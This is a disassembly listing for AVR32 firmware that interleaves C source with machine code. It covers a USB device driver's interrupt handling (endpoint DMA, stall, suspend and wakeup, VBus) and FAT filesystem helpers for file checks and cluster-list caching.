+80003c62: 58 38 cp.w r8,3 +80003c64: e0 81 01 06 brne 80003e70 + // A IN handshake is waiting by device, + // but host want extra OUT data then stall extra OUT data + udd_enable_stall_handshake(0); +80003c68: e8 69 00 00 mov r9,524288 +80003c6c: fe 68 01 f0 mov r8,-130576 +80003c70: 91 09 st.w r8[0x0],r9 +80003c72: cf f8 rjmp 80003e70 + // Overflow on OUT packet + udd_ack_nak_out(0); + udd_ctrl_overflow(); + return true; + } + if (Is_udd_nak_in(0)) { +80003c74: fe 68 01 30 mov r8,-130768 +80003c78: 70 08 ld.w r8,r8[0x0] +80003c7a: e2 18 00 10 andl r8,0x10,COH +80003c7e: c1 d0 breq 80003cb8 + // Underflow on IN packet + udd_ack_nak_in(0); +80003c80: 31 09 mov r9,16 +80003c82: fe 68 01 60 mov r8,-130720 +80003c86: 91 09 st.w r8[0x0],r9 +} + + +static void udd_ctrl_underflow(void) +{ + if (Is_udd_out_received(0)) +80003c88: fe 68 01 30 mov r8,-130768 +80003c8c: 70 08 ld.w r8,r8[0x0] +80003c8e: e2 18 00 02 andl r8,0x2,COH +80003c92: e0 81 00 ef brne 80003e70 + return; // underflow ignored if OUT data is received + + if (UDD_EPCTRL_DATA_OUT == udd_ep_control_state) { +80003c96: fe f8 02 02 ld.w r8,pc[514] +80003c9a: 70 08 ld.w r8,r8[0x0] +80003c9c: 58 18 cp.w r8,1 +80003c9e: c0 41 brne 80003ca6 + // Host want to stop OUT transaction + // then stop to wait OUT data phase and wait IN ZLP handshake + udd_ctrl_send_zlp_in(); +80003ca0: f0 1f 00 88 mcall 80003ec0 +80003ca4: ce 68 rjmp 80003e70 + } else if (UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP == udd_ep_control_state) { +80003ca6: 58 48 cp.w r8,4 +80003ca8: e0 81 00 e4 brne 80003e70 + // A OUT handshake is waiting by device, + // but host want extra IN data then stall extra IN data + udd_enable_stall_handshake(0); +80003cac: e8 69 00 00 mov r9,524288 +80003cb0: fe 68 01 f0 mov r8,-130576 +80003cb4: 91 09 st.w r8[0x0],r9 +80003cb6: cd d8 rjmp 80003e70 + udd_ep_job_t *ptr_job; + + // For each endpoint different of control endpoint (0) + for (ep = 1; ep <= USB_DEVICE_MAX_EP; ep++) { + // Check DMA event + if (Is_udd_endpoint_dma_interrupt_enabled(ep) +80003cb8: fe 68 00 00 mov r8,-131072 +80003cbc: 70 48 ld.w r8,r8[0x10] +80003cbe: e6 18 02 00 andh r8,0x200,COH +80003cc2: c3 00 breq 80003d22 + && Is_udd_endpoint_dma_interrupt(ep)) { +80003cc4: fe 68 00 00 mov r8,-131072 +80003cc8: 70 18 ld.w r8,r8[0x4] + udd_ep_job_t *ptr_job; + + // For each endpoint different of control endpoint (0) + for (ep = 1; ep <= USB_DEVICE_MAX_EP; ep++) { + // Check DMA event + if (Is_udd_endpoint_dma_interrupt_enabled(ep) +80003cca: e6 18 02 00 andh r8,0x200,COH +80003cce: c2 a0 breq 80003d22 + && Is_udd_endpoint_dma_interrupt(ep)) { + uint32_t nb_remaining; + udd_disable_endpoint_dma_interrupt(ep); +80003cd0: 30 09 mov r9,0 +80003cd2: ea 19 02 00 orh r9,0x200 +80003cd6: fe 68 00 00 mov r8,-131072 +80003cda: 91 59 st.w r8[0x14],r9 + // Save number of data no transfered + nb_remaining = (udd_endpoint_dma_get_status(ep) & +80003cdc: fe 68 03 10 mov r8,-130288 +80003ce0: 70 39 ld.w r9,r8[0xc] + >> + AVR32_USBB_UDDMA1_STATUS_CH_BYTE_CNT_OFFSET; + // Get job corresponding at endpoint + ptr_job = &udd_ep_job[ep - 1]; + // Update number of data transfered + ptr_job->buf_size -= nb_remaining; +80003ce2: 4f 98 lddpc r8,80003ec4 +80003ce4: b1 89 lsr r9,0x10 +80003ce6: 70 2a ld.w r10,r8[0x8] +80003ce8: 12 1a sub r10,r9 +80003cea: 91 2a st.w r8[0x8],r10 + + if (!Is_udd_endpoint_in(ep)) { +80003cec: fe 68 01 04 mov r8,-130812 +80003cf0: 70 08 ld.w r8,r8[0x0] +80003cf2: e2 18 01 00 andl r8,0x100,COH +80003cf6: c0 71 brne 80003d04 + // Disable autoswitch bank on OUT + udd_disable_endpoint_bank_autoswitch(ep); +80003cf8: fe 68 01 04 mov r8,-130812 +80003cfc: 70 09 ld.w r9,r8[0x0] +80003cfe: a9 d9 cbr r9,0x9 +80003d00: 91 09 st.w r8[0x0],r9 +80003d02: c0 b8 rjmp 80003d18 + } else { + // Wait end of background transfer on IN endpoint before disabled autoswitch bank + udd_enable_endpoint_interrupt(ep); +80003d04: e0 69 20 00 mov r9,8192 +80003d08: fe 68 00 00 mov r8,-131072 +80003d0c: 91 69 st.w r8[0x18],r9 + udd_enable_bank_interrupt(ep); +80003d0e: e0 69 10 00 mov r9,4096 +80003d12: fe 68 01 f4 mov r8,-130572 +80003d16: 91 09 st.w r8[0x0],r9 + } + // Call callback to signal end of transfer + udd_ep_finish_job(&udd_ep_job[ep - 1], false); +80003d18: 30 0b mov r11,0 +80003d1a: 4e bc lddpc r12,80003ec4 +80003d1c: f0 1f 00 6b mcall 80003ec8 +80003d20: ca 88 rjmp 80003e70 + return true; + } + // Check empty bank interrupt event + if (Is_udd_endpoint_interrupt_enabled(ep) +80003d22: fe 68 00 00 mov r8,-131072 +80003d26: 70 48 ld.w r8,r8[0x10] +80003d28: e2 18 20 00 andl r8,0x2000,COH +80003d2c: e0 80 00 ac breq 80003e84 + && (0 == udd_nb_busy_bank(ep))) { +80003d30: fe 68 01 34 mov r8,-130764 +80003d34: 70 08 ld.w r8,r8[0x0] + // Call callback to signal end of transfer + udd_ep_finish_job(&udd_ep_job[ep - 1], false); + return true; + } + // Check empty bank interrupt event + if (Is_udd_endpoint_interrupt_enabled(ep) +80003d36: f1 d8 c1 82 bfextu r8,r8,0xc,0x2 +80003d3a: e0 81 00 a5 brne 80003e84 + && (0 == udd_nb_busy_bank(ep))) { + // End of background transfer on IN endpoint + udd_disable_bank_interrupt(ep); +80003d3e: e0 69 10 00 mov r9,4096 +80003d42: fe 68 02 24 mov r8,-130524 +80003d46: 91 09 st.w r8[0x0],r9 + udd_disable_endpoint_interrupt(ep); +80003d48: e0 69 20 00 mov r9,8192 +80003d4c: fe 68 00 00 mov r8,-131072 +80003d50: 91 59 st.w r8[0x14],r9 + // If no new transfer running then disable autoswitch bank + if (!udd_ep_job[ep - 1].busy) { +80003d52: 4d d8 lddpc r8,80003ec4 +80003d54: 70 08 ld.w r8,r8[0x0] +80003d56: 58 08 cp.w r8,0 +80003d58: c0 65 brlt 80003d64 + udd_disable_endpoint_bank_autoswitch(ep); +80003d5a: fe 68 01 04 mov r8,-130812 +80003d5e: 70 09 ld.w r9,r8[0x0] +80003d60: a9 d9 cbr r9,0x9 +80003d62: 91 09 st.w r8[0x0],r9 + } + // If a stall has been requested during backgound transfer then execute it + if (udd_ep_job[ep - 1].stall_requested) { +80003d64: 4d 88 lddpc r8,80003ec4 +80003d66: 70 09 ld.w r9,r8[0x0] +80003d68: f3 d9 c3 c1 bfextu r9,r9,0x1e,0x1 +80003d6c: 30 08 mov r8,0 +80003d6e: f0 09 18 00 cp.b r9,r8 +80003d72: c7 f0 breq 80003e70 + udd_ep_job[ep - 1].stall_requested = false; +80003d74: 4d 48 lddpc r8,80003ec4 +80003d76: 70 09 ld.w r9,r8[0x0] +80003d78: 30 0a mov r10,0 +80003d7a: f3 da d3 c1 bfins r9,r10,0x1e,0x1 +80003d7e: 91 09 st.w r8[0x0],r9 + udd_enable_stall_handshake(ep); +80003d80: fe 68 01 f4 mov r8,-130572 +80003d84: e8 69 00 00 mov r9,524288 +80003d88: 91 09 st.w r8[0x0],r9 + udd_reset_data_toggle(ep); +80003d8a: e4 69 00 00 mov r9,262144 +80003d8e: 91 09 st.w r8[0x0],r9 +80003d90: c7 08 rjmp 80003e70 + goto udd_interrupt_end; // Interrupt acked by bulk/interrupt/isochronous endpoint managed +#endif + + // USB bus reset detection + if (Is_udd_reset()) { + udd_ack_reset(); +80003d92: 30 89 mov r9,8 +80003d94: fe 68 00 00 mov r8,-131072 +80003d98: 91 29 st.w r8[0x8],r9 +static void udd_ep_job_table_kill(void) +{ + uint8_t i; + // For each endpoint, kill job + for (i = 0; i < USB_DEVICE_MAX_EP; i++) { + udd_ep_finish_job(&udd_ep_job[i], true); +80003d9a: 30 1b mov r11,1 +80003d9c: 4c ac lddpc r12,80003ec4 +80003d9e: f0 1f 00 4b mcall 80003ec8 + // Abort all jobs on-going +#if (0!=USB_DEVICE_MAX_EP) + udd_ep_job_table_kill(); +#endif + // Reset USB Device Stack Core + udc_reset(); +80003da2: f0 1f 00 4b mcall 80003ecc + // Reset endpoint control + udd_reset_ep_ctrl(); +80003da6: f0 1f 00 4b mcall 80003ed0 + // Reset endpoint control management + udd_ctrl_init(); +80003daa: f0 1f 00 3e mcall 80003ea0 + goto udd_interrupt_end; +80003dae: c6 18 rjmp 80003e70 + } + + if (Is_udd_suspend_interrupt_enabled() && Is_udd_suspend()) { +80003db0: fe 68 00 00 mov r8,-131072 +80003db4: 70 48 ld.w r8,r8[0x10] +80003db6: f1 d8 c0 01 bfextu r8,r8,0x0,0x1 +80003dba: c1 d0 breq 80003df4 +80003dbc: fe 68 00 00 mov r8,-131072 +80003dc0: 70 18 ld.w r8,r8[0x4] +80003dc2: f1 d8 c0 01 bfextu r8,r8,0x0,0x1 +80003dc6: c1 70 breq 80003df4 + otg_unfreeze_clock(); +80003dc8: fe 68 00 00 mov r8,-131072 +80003dcc: f0 f9 08 00 ld.w r9,r8[2048] +80003dd0: af c9 cbr r9,0xe +80003dd2: f1 49 08 00 st.w r8[2048],r9 + // The suspend interrupt is automatic acked when a wakeup occur + udd_disable_suspend_interrupt(); +80003dd6: 30 19 mov r9,1 +80003dd8: 91 59 st.w r8[0x14],r9 + udd_enable_wake_up_interrupt(); +80003dda: 31 09 mov r9,16 +80003ddc: 91 69 st.w r8[0x18],r9 + otg_freeze_clock(); // Mandatory to exit of sleep mode after a wakeup event +80003dde: f0 f9 08 00 ld.w r9,r8[2048] +80003de2: af a9 sbr r9,0xe +80003de4: f1 49 08 00 st.w r8[2048],r9 + udd_sleep_mode(false); // Enter in SUSPEND mode +80003de8: 30 0c mov r12,0 +80003dea: f0 1f 00 3b mcall 80003ed4 +#ifdef UDC_SUSPEND_EVENT + UDC_SUSPEND_EVENT(); +80003dee: f0 1f 00 3b mcall 80003ed8 +#endif + goto udd_interrupt_end; +80003df2: c3 f8 rjmp 80003e70 + } + + if (Is_udd_wake_up_interrupt_enabled() && Is_udd_wake_up()) { +80003df4: fe 68 00 00 mov r8,-131072 +80003df8: 70 48 ld.w r8,r8[0x10] +80003dfa: e2 18 00 10 andl r8,0x10,COH +80003dfe: c2 30 breq 80003e44 +80003e00: fe 68 00 00 mov r8,-131072 +80003e04: 70 18 ld.w r8,r8[0x4] +80003e06: e2 18 00 10 andl r8,0x10,COH +80003e0a: c1 d0 breq 80003e44 + // Ack wakeup interrupt and enable suspend interrupt + otg_unfreeze_clock(); +80003e0c: fe 68 00 00 mov r8,-131072 +80003e10: f0 f9 08 00 ld.w r9,r8[2048] +80003e14: af c9 cbr r9,0xe +80003e16: f1 49 08 00 st.w r8[2048],r9 + // Check USB clock ready after suspend and eventually sleep USB clock + while( !Is_clock_usable() ) { +80003e1a: c0 58 rjmp 80003e24 + if(Is_udd_suspend()) break; // In case of USB state change in HS +80003e1c: 70 19 ld.w r9,r8[0x4] +80003e1e: f3 d9 c0 01 bfextu r9,r9,0x0,0x1 +80003e22: c0 61 brne 80003e2e + + if (Is_udd_wake_up_interrupt_enabled() && Is_udd_wake_up()) { + // Ack wakeup interrupt and enable suspend interrupt + otg_unfreeze_clock(); + // Check USB clock ready after suspend and eventually sleep USB clock + while( !Is_clock_usable() ) { +80003e24: f0 f9 08 04 ld.w r9,r8[2052] +80003e28: e2 19 40 00 andl r9,0x4000,COH +80003e2c: cf 80 breq 80003e1c + if(Is_udd_suspend()) break; // In case of USB state change in HS + }; + // The wakeup interrupt is automatic acked when a suspend occur + udd_disable_wake_up_interrupt(); +80003e2e: fe 68 00 00 mov r8,-131072 +80003e32: 31 09 mov r9,16 +80003e34: 91 59 st.w r8[0x14],r9 + udd_enable_suspend_interrupt(); +80003e36: 30 1c mov r12,1 +80003e38: 91 6c st.w r8[0x18],r12 + udd_sleep_mode(true); // Enter in IDLE mode +80003e3a: f0 1f 00 27 mcall 80003ed4 +#ifdef UDC_RESUME_EVENT + UDC_RESUME_EVENT(); +80003e3e: f0 1f 00 28 mcall 80003edc +#endif + goto udd_interrupt_end; +80003e42: c1 78 rjmp 80003e70 + } + + if (Is_udd_vbus_transition()) { +80003e44: fe 68 00 00 mov r8,-131072 +80003e48: f0 f8 08 04 ld.w r8,r8[2052] +80003e4c: e2 18 00 02 andl r8,0x2,COH +80003e50: c1 00 breq 80003e70 + // Ack VBus transition and send status to high level + otg_unfreeze_clock(); +80003e52: fe 68 00 00 mov r8,-131072 +80003e56: f0 f9 08 00 ld.w r9,r8[2048] +80003e5a: af c9 cbr r9,0xe +80003e5c: f1 49 08 00 st.w r8[2048],r9 + udd_ack_vbus_transition(); +80003e60: 30 29 mov r9,2 +80003e62: f1 49 08 08 st.w r8[2056],r9 + otg_freeze_clock(); +80003e66: f0 f9 08 00 ld.w r9,r8[2048] +80003e6a: af a9 sbr r9,0xe +80003e6c: f1 49 08 00 st.w r8[2048],r9 + UDC_VBUS_EVENT(Is_udd_vbus_high()); +#endif + goto udd_interrupt_end; + } +udd_interrupt_end: + otg_data_memory_barrier(); +80003e70: fe 68 00 00 mov r8,-131072 +80003e74: f0 f8 08 18 ld.w r8,r8[2072] + return; +} +80003e78: d4 02 popm lr +80003e7a: d6 03 rete + uint8_t *ptr_src = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + uint8_t *ptr_dest = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; + for (i = 0; i < nb_data; i++) { + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_data; +80003e7c: 48 f9 lddpc r9,80003eb8 +80003e7e: b2 08 st.h r9[0x0],r8 +80003e80: fe 9f fe 92 bral 80003ba4 + if (udd_ep_interrupt()) + goto udd_interrupt_end; // Interrupt acked by bulk/interrupt/isochronous endpoint managed +#endif + + // USB bus reset detection + if (Is_udd_reset()) { +80003e84: fe 68 00 00 mov r8,-131072 +80003e88: 70 18 ld.w r8,r8[0x4] +80003e8a: e2 18 00 08 andl r8,0x8,COH +80003e8e: c9 10 breq 80003db0 +80003e90: c8 1b rjmp 80003d92 +80003e92: 00 00 add r0,r0 +80003e94: 80 00 ld.sh r0,r0[0x0] +80003e96: 79 bc ld.w r12,r12[0x6c] +80003e98: 00 00 add r0,r0 +80003e9a: 01 c8 ld.ub r8,r0[0x4] +80003e9c: 80 00 ld.sh r0,r0[0x0] +80003e9e: 32 d8 mov r8,45 +80003ea0: 80 00 ld.sh r0,r0[0x0] +80003ea2: 35 0c mov r12,80 +80003ea4: 80 00 ld.sh r0,r0[0x0] +80003ea6: 32 c0 mov r0,44 +80003ea8: 00 00 add r0,r0 +80003eaa: 04 28 rsub r8,r2 +80003eac: 80 00 ld.sh r0,r0[0x0] +80003eae: 71 80 ld.w r0,r8[0x60] +80003eb0: 00 00 add r0,r0 +80003eb2: 01 cc ld.ub r12,r0[0x4] +80003eb4: 00 00 add r0,r0 +80003eb6: 01 b0 ld.ub r0,r0[0x3] +80003eb8: 00 00 add r0,r0 +80003eba: 01 c6 ld.ub r6,r0[0x4] +80003ebc: 80 00 ld.sh r0,r0[0x0] +80003ebe: 36 50 mov r0,101 +80003ec0: 80 00 ld.sh r0,r0[0x0] +80003ec2: 35 40 mov r0,84 +80003ec4: 00 00 add r0,r0 +80003ec6: 01 b4 ld.ub r4,r0[0x3] +80003ec8: 80 00 ld.sh r0,r0[0x0] +80003eca: 32 ec mov r12,46 +80003ecc: 80 00 ld.sh r0,r0[0x0] +80003ece: 71 10 ld.w r0,r8[0x44] +80003ed0: 80 00 ld.sh r0,r0[0x0] +80003ed2: 35 6c mov r12,86 +80003ed4: 80 00 ld.sh r0,r0[0x0] +80003ed6: 34 bc mov r12,75 +80003ed8: 80 00 ld.sh r0,r0[0x0] +80003eda: 76 ec ld.w r12,r11[0x38] +80003edc: 80 00 ld.sh r0,r0[0x0] +80003ede: 76 5c ld.w r12,r11[0x14] + +80003ee0 : +//! @return true a file is opened +//! @return false otherwise +//! +Bool fat_check_open( void ) +{ + if( Fat_file_isnot_open() ) +80003ee0: 48 68 lddpc r8,80003ef8 +80003ee2: 11 89 ld.ub r9,r8[0x0] +80003ee4: 30 08 mov r8,0 +80003ee6: f0 09 18 00 cp.b r9,r8 +80003eea: c0 20 breq 80003eee +80003eec: 5e ff retal 1 + { + fs_g_status = FS_ERR_FILE_NO_OPEN; +80003eee: 31 79 mov r9,23 +80003ef0: 48 38 lddpc r8,80003efc +80003ef2: b0 89 st.b r8[0x0],r9 +80003ef4: 5e fd retal 0 +80003ef6: 00 00 add r0,r0 +80003ef8: 00 00 add r0,r0 +80003efa: 04 44 or r4,r2 +80003efc: 00 00 add r0,r0 +80003efe: 06 d4 st.w --r3,r4 + +80003f00 : +//! @return true a file is selected +//! @return false otherwise +//! +Bool fat_check_select( void ) +{ + if (FS_NO_SEL == fs_g_nav_fast.u16_entry_pos_sel_file) +80003f00: 48 68 lddpc r8,80003f18 +80003f02: 90 19 ld.sh r9,r8[0x2] +80003f04: 3f f8 mov r8,-1 +80003f06: f0 09 19 00 cp.h r9,r8 +80003f0a: c0 20 breq 80003f0e +80003f0c: 5e ff retal 1 + { + fs_g_status = FS_ERR_NO_FILE_SEL; +80003f0e: 30 f9 mov r9,15 +80003f10: 48 38 lddpc r8,80003f1c +80003f12: b0 89 st.b r8[0x0],r9 +80003f14: 5e fd retal 0 +80003f16: 00 00 add r0,r0 +80003f18: 00 00 add r0,r0 +80003f1a: 06 d0 st.w --r3,r0 +80003f1c: 00 00 add r0,r0 +80003f1e: 06 d4 st.w --r3,r4 + +80003f20 : +//! @return true It is a file and not a directory +//! @return false otherwise +//! +Bool fat_check_is_file( void ) +{ + if( Fat_is_not_a_file ) +80003f20: 48 58 lddpc r8,80003f34 +80003f22: 11 a8 ld.ub r8,r8[0x2] +80003f24: e2 18 00 18 andl r8,0x18,COH +80003f28: c0 21 brne 80003f2c +80003f2a: 5e ff retal 1 + { + fs_g_status = FS_ERR_NO_FILE; // It isn't a file, it is a directory or a volume id +80003f2c: 31 39 mov r9,19 +80003f2e: 48 38 lddpc r8,80003f38 +80003f30: b0 89 st.b r8[0x0],r9 +80003f32: 5e fd retal 0 +80003f34: 00 00 add r0,r0 +80003f36: 04 44 or r4,r2 +80003f38: 00 00 add r0,r0 +80003f3a: 06 d4 st.w --r3,r4 + +80003f3c : +//! fs_g_cluster.u32_val value to check +//! @endverbatim +//! +uint8_t fat_checkcluster( void ) +{ + if ( !fs_g_cluster.u32_val ) +80003f3c: 49 68 lddpc r8,80003f94 +80003f3e: 70 18 ld.w r8,r8[0x4] +80003f40: 58 08 cp.w r8,0 +80003f42: c0 21 brne 80003f46 +80003f44: 5e ff retal 1 + return FS_CLUS_BAD; + + // Cluster bad if (FAT12 == 0x0FF7) (FAT16 == 0xFFF7) (FAT32 == 0x0FFFFFF7) + // Last cluster if (FAT12 > 0x0FF7) (FAT16 > 0xFFF7) (FAT32 > 0x0FFFFFF7) + if ( Is_fat32 ) +80003f46: 49 59 lddpc r9,80003f98 +80003f48: 13 89 ld.ub r9,r9[0x0] +80003f4a: 30 3a mov r10,3 +80003f4c: f4 09 18 00 cp.b r9,r10 +80003f50: c0 a1 brne 80003f64 + { + if (fs_g_cluster.u32_val >= 0x0FFFFFF8) +80003f52: e0 69 ff f7 mov r9,65527 +80003f56: ea 19 0f ff orh r9,0xfff +80003f5a: 12 38 cp.w r8,r9 +80003f5c: e0 8b 00 19 brhi 80003f8e +80003f60: 5f 0c sreq r12 +80003f62: 5e fc retal r12 + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0x0FFFFFF7) + return FS_CLUS_BAD; + } + else if ( Is_fat16 ) +80003f64: 30 2a mov r10,2 +80003f66: f4 09 18 00 cp.b r9,r10 +80003f6a: c0 71 brne 80003f78 + { + if (fs_g_cluster.u32_val >= 0xFFF8) +80003f6c: e0 48 ff f7 cp.w r8,65527 +80003f70: e0 8b 00 0f brhi 80003f8e +80003f74: 5f 0c sreq r12 +80003f76: 5e fc retal r12 + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0xFFF7) + return FS_CLUS_BAD; + } + else if ( Is_fat12 ) +80003f78: 30 1a mov r10,1 +80003f7a: f4 09 18 00 cp.b r9,r10 +80003f7e: c0 20 breq 80003f82 +80003f80: 5e fd retal 0 + { + if (fs_g_cluster.u32_val >= 0xFF8) +80003f82: e0 48 0f f7 cp.w r8,4087 +80003f86: e0 8b 00 04 brhi 80003f8e +80003f8a: 5f 0c sreq r12 +80003f8c: 5e fc retal r12 +80003f8e: 30 2c mov r12,2 + else if (fs_g_cluster.u32_val == 0xFF7) + return FS_CLUS_BAD; + } + + return FS_CLUS_OK; +} +80003f90: 5e fc retal r12 +80003f92: 00 00 add r0,r0 +80003f94: 00 00 add r0,r0 +80003f96: 07 24 ld.uh r4,r3++ +80003f98: 00 00 add r0,r0 +80003f9a: 06 d0 st.w --r3,r0 + +80003f9c : +//! This function resets the cluster list caches +//! +void fat_cache_clusterlist_reset( void ) +{ + uint8_t u8_i; + fs_g_u8_current_cache=0; +80003f9c: 30 0a mov r10,0 +80003f9e: 48 88 lddpc r8,80003fbc +80003fa0: b0 8a st.b r8[0x0],r10 + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + // The cache list is splited in two cache (file cluster list and directory cluster list) + fs_g_cache_clusterlist[u8_i].b_cache_file = (u8_i +80003fa4: 30 19 mov r9,1 +80003fa6: b0 89 st.b r8[0x0],r9 + fs_g_cache_clusterlist[u8_i].u8_lun = 0xFF; +80003fa8: 3f f9 mov r9,-1 +80003faa: b0 a9 st.b r8[0x2],r9 + fs_g_cache_clusterlist[u8_i].u8_level_use = 0xFF; +80003fac: b0 99 st.b r8[0x1],r9 + uint8_t u8_i; + fs_g_u8_current_cache=0; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + // The cache list is splited in two cache (file cluster list and directory cluster list) + fs_g_cache_clusterlist[u8_i].b_cache_file = (u8_i: +//! This function initializes a cache in cluster list caches +//! +//! @param b_for_file If true then it is a file cluster list else a directory cluster list
+//! +void fat_cache_clusterlist_update_start( Bool b_for_file ) +{ +80003fc4: 48 c9 lddpc r9,80003ff4 +80003fc6: 13 88 ld.ub r8,r9[0x0] +80003fc8: f8 08 18 00 cp.b r8,r12 +80003fcc: 5f 18 srne r8 + if( (FS_NB_CACHE_CLUSLIST-2) < fs_g_cache_clusterlist[u8_i].u8_level_use ) +#endif + break; + } + } + fs_g_u8_current_cache = u8_i; +80003fce: 48 ba lddpc r10,80003ff8 +80003fd0: b4 88 st.b r10[0x0],r8 + fs_g_cache_clusterlist[fs_g_u8_current_cache].b_cache_file = b_for_file; +80003fd2: f0 0a 15 02 lsl r10,r8,0x2 +80003fd6: 10 0a add r10,r8 +80003fd8: f2 0a 00 28 add r8,r9,r10<<0x2 +80003fdc: b0 8c st.b r8[0x0],r12 + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache +80003fde: 3f fb mov r11,-1 +80003fe0: b0 ab st.b r8[0x2],r11 + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; +80003fe2: 2f fa sub r10,-1 +80003fe4: 48 6b lddpc r11,80003ffc +80003fe6: 76 0b ld.w r11,r11[0x0] +80003fe8: f2 0a 09 2b st.w r9[r10<<0x2],r11 + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start = fs_g_seg.u32_size_or_pos; +80003fec: 48 59 lddpc r9,80004000 +80003fee: 72 19 ld.w r9,r9[0x4] +80003ff0: 91 29 st.w r8[0x8],r9 +} +80003ff2: 5e fc retal r12 +80003ff4: 00 00 add r0,r0 +80003ff6: 04 58 eor r8,r2 +80003ff8: 00 00 add r0,r0 +80003ffa: 06 d6 st.w --r3,r6 +80003ffc: 00 00 add r0,r0 +80003ffe: 07 24 ld.uh r4,r3++ +80004000: 00 00 add r0,r0 +80004002: 07 2c ld.uh r12,r3++ + +80004004 : +{ + uint8_t u8_i; + uint8_t u8_level_to_update; + Bool b_file_cache; + + b_file_cache = fs_g_cache_clusterlist[ fs_g_u8_current_cache ].b_cache_file; +80004004: 49 88 lddpc r8,80004064 +80004006: 11 88 ld.ub r8,r8[0x0] +80004008: 49 8a lddpc r10,80004068 +8000400a: f0 08 00 2b add r11,r8,r8<<0x2 +8000400e: f4 0b 00 2b add r11,r10,r11<<0x2 +80004012: 17 89 ld.ub r9,r11[0x0] + u8_level_to_update = fs_g_cache_clusterlist[ fs_g_u8_current_cache ].u8_level_use; +80004014: 17 9b ld.ub r11,r11[0x1] + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( fs_g_cache_clusterlist[u8_i].b_cache_file == b_file_cache ) +80004016: 15 8a ld.ub r10,r10[0x0] +80004018: f2 0a 18 00 cp.b r10,r9 +8000401c: c0 a1 brne 80004030 + if( u8_level_to_update > fs_g_cache_clusterlist[u8_i].u8_level_use ) +8000401e: 49 3a lddpc r10,80004068 +80004020: 15 9a ld.ub r10,r10[0x1] +80004022: f4 0b 18 00 cp.b r11,r10 +80004026: e0 88 00 05 brls 80004030 + fs_g_cache_clusterlist[u8_i].u8_level_use++; +8000402a: 2f fa sub r10,-1 +8000402c: 48 fc lddpc r12,80004068 +8000402e: b8 9a st.b r12[0x1],r10 + + b_file_cache = fs_g_cache_clusterlist[ fs_g_u8_current_cache ].b_cache_file; + u8_level_to_update = fs_g_cache_clusterlist[ fs_g_u8_current_cache ].u8_level_use; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( fs_g_cache_clusterlist[u8_i].b_cache_file == b_file_cache ) +80004030: 48 ea lddpc r10,80004068 +80004032: f5 3a 00 14 ld.ub r10,r10[20] +80004036: f2 0a 18 00 cp.b r10,r9 +8000403a: c0 c1 brne 80004052 + if( u8_level_to_update > fs_g_cache_clusterlist[u8_i].u8_level_use ) +8000403c: 48 b9 lddpc r9,80004068 +8000403e: f3 39 00 15 ld.ub r9,r9[21] +80004042: f2 0b 18 00 cp.b r11,r9 +80004046: e0 88 00 06 brls 80004052 + fs_g_cache_clusterlist[u8_i].u8_level_use++; +8000404a: 2f f9 sub r9,-1 +8000404c: 48 7a lddpc r10,80004068 +8000404e: f5 69 00 15 st.b r10[21],r9 + } + fs_g_cache_clusterlist[ fs_g_u8_current_cache ].u8_level_use = 0; +80004052: f0 08 00 28 add r8,r8,r8<<0x2 +80004056: 48 59 lddpc r9,80004068 +80004058: f2 08 00 28 add r8,r9,r8<<0x2 +8000405c: 30 09 mov r9,0 +8000405e: b0 99 st.b r8[0x1],r9 +} +80004060: 5e fc retal r12 +80004062: 00 00 add r0,r0 +80004064: 00 00 add r0,r0 +80004066: 06 d6 st.w --r3,r6 +80004068: 00 00 add r0,r0 +8000406a: 04 58 eor r8,r2 + +8000406c : + + +//! This function updates a cache of cluster list caches +//! +void fat_cache_clusterlist_update_finish( void ) +{ +8000406c: eb cd 40 c0 pushm r6-r7,lr + uint8_t u8_cluster_offset = fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start % fs_g_nav.u8_BPB_SecPerClus; +80004070: 49 08 lddpc r8,800040b0 +80004072: 11 88 ld.ub r8,r8[0x0] +80004074: f0 08 00 28 add r8,r8,r8<<0x2 +80004078: 48 f9 lddpc r9,800040b4 +8000407a: f2 08 00 28 add r8,r9,r8<<0x2 +8000407e: f0 ca ff f8 sub r10,r8,-8 +80004082: 48 eb lddpc r11,800040b8 +80004084: 17 97 ld.ub r7,r11[0x1] +80004086: 74 09 ld.w r9,r10[0x0] +80004088: f2 07 0d 06 divu r6,r9,r7 +8000408c: 0e 99 mov r9,r7 +8000408e: 5c 59 castu.b r9 + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = fs_g_nav.u8_lun; // valid cache +80004090: 17 8b ld.ub r11,r11[0x0] +80004092: b0 ab st.b r8[0x2],r11 + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start -= u8_cluster_offset; +80004094: 74 0b ld.w r11,r10[0x0] +80004096: 12 1b sub r11,r9 +80004098: 95 0b st.w r10[0x0],r11 + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_addr = fs_g_seg.u32_addr - u8_cluster_offset; +8000409a: 48 9a lddpc r10,800040bc +8000409c: 74 0b ld.w r11,r10[0x0] +8000409e: 12 1b sub r11,r9 +800040a0: 91 3b st.w r8[0xc],r11 + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_size = fs_g_seg.u32_size_or_pos + u8_cluster_offset; +800040a2: 74 1a ld.w r10,r10[0x4] +800040a4: 14 09 add r9,r10 +800040a6: 91 49 st.w r8[0x10],r9 + + // Update the "level used" of cache + fat_cache_clusterlist_update_select(); +800040a8: f0 1f 00 06 mcall 800040c0 +} +800040ac: e3 cd 80 c0 ldm sp++,r6-r7,pc +800040b0: 00 00 add r0,r0 +800040b2: 06 d6 st.w --r3,r6 +800040b4: 00 00 add r0,r0 +800040b6: 04 58 eor r8,r2 +800040b8: 00 00 add r0,r0 +800040ba: 06 84 